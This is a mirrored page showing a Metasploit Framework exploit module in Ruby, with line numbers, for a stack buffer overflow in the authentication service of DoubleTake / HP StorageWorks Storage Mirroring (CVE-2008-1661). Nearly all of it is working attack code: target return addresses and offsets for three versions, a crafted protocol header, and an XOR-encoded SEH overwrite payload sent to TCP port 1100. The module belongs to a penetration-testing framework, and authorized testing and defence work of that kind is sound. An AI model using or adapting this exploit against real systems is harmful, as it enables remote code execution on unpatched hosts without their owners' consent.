CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/doubletake.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'DoubleTake/HP StorageWorks Storage Mirroring Service Authentication Overflow',
15
'Description' => %q{
16
This module exploits a stack buffer overflow in the authentication mechanism of
17
NSI Doubletake which is also rebranded as HP Storage Works. This vulnerability
18
was found by Titon of Bastard Labs.
19
},
20
'Author' => [ 'ri0t <ri0t[at]ri0tnet.net>' ],
21
'References' =>
22
[
23
['CVE', '2008-1661' ],
24
['OSVDB', '45924' ],
25
],
26
'Privileged' => false,
27
'DefaultOptions' =>
28
{
29
'EXITFUNC' => 'process',
30
},
31
'Payload' =>
32
{
33
'Space' => 500,
34
'BadChars' => "\x00",
35
},
36
'Platform' => 'win',
37
38
'Targets' =>
39
[
40
['doubletake 4.5.0', { 'Ret' => 0x006f5fa7, 'Offset' => 5544 } ],
41
['doubletake 4.4.2', { 'Ret' => 0x0074e307, 'Offset' => 944 } ],
42
['doubletake 4.5.0.1819', { 'Ret' => 0x006e62dd, 'Offset' => 5544 } ],
43
],
44
'DefaultTarget' => 0,
45
'DisclosureDate' => '2008-06-04'
46
))
47
48
register_options(
49
[
50
Opt::RPORT(1100)
51
])
52
end
53
54
def exploit
55
56
connect
57
58
print_status("Trying target #{target.name}...")
59
60
header =
61
"\x00\x02\x00\x01\x27\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
62
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x00"+
63
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01"+
64
"\x00\x00\x00\x1e\x00\x00\x00\x01\x00\x01"
65
66
xor = Rex::Encoding::Xor::Byte
67
filler = rand_text_english(1) * (target['Offset'])
68
seh = generate_seh_payload(target.ret)
69
buffercoded = xor.encode(seh+payload.encoded, [0xf0].pack("C"))
70
sploit = header + filler + buffercoded[0]
71
sock.put(sploit)
72
73
handler
74
disconnect
75
end
76
end
77
78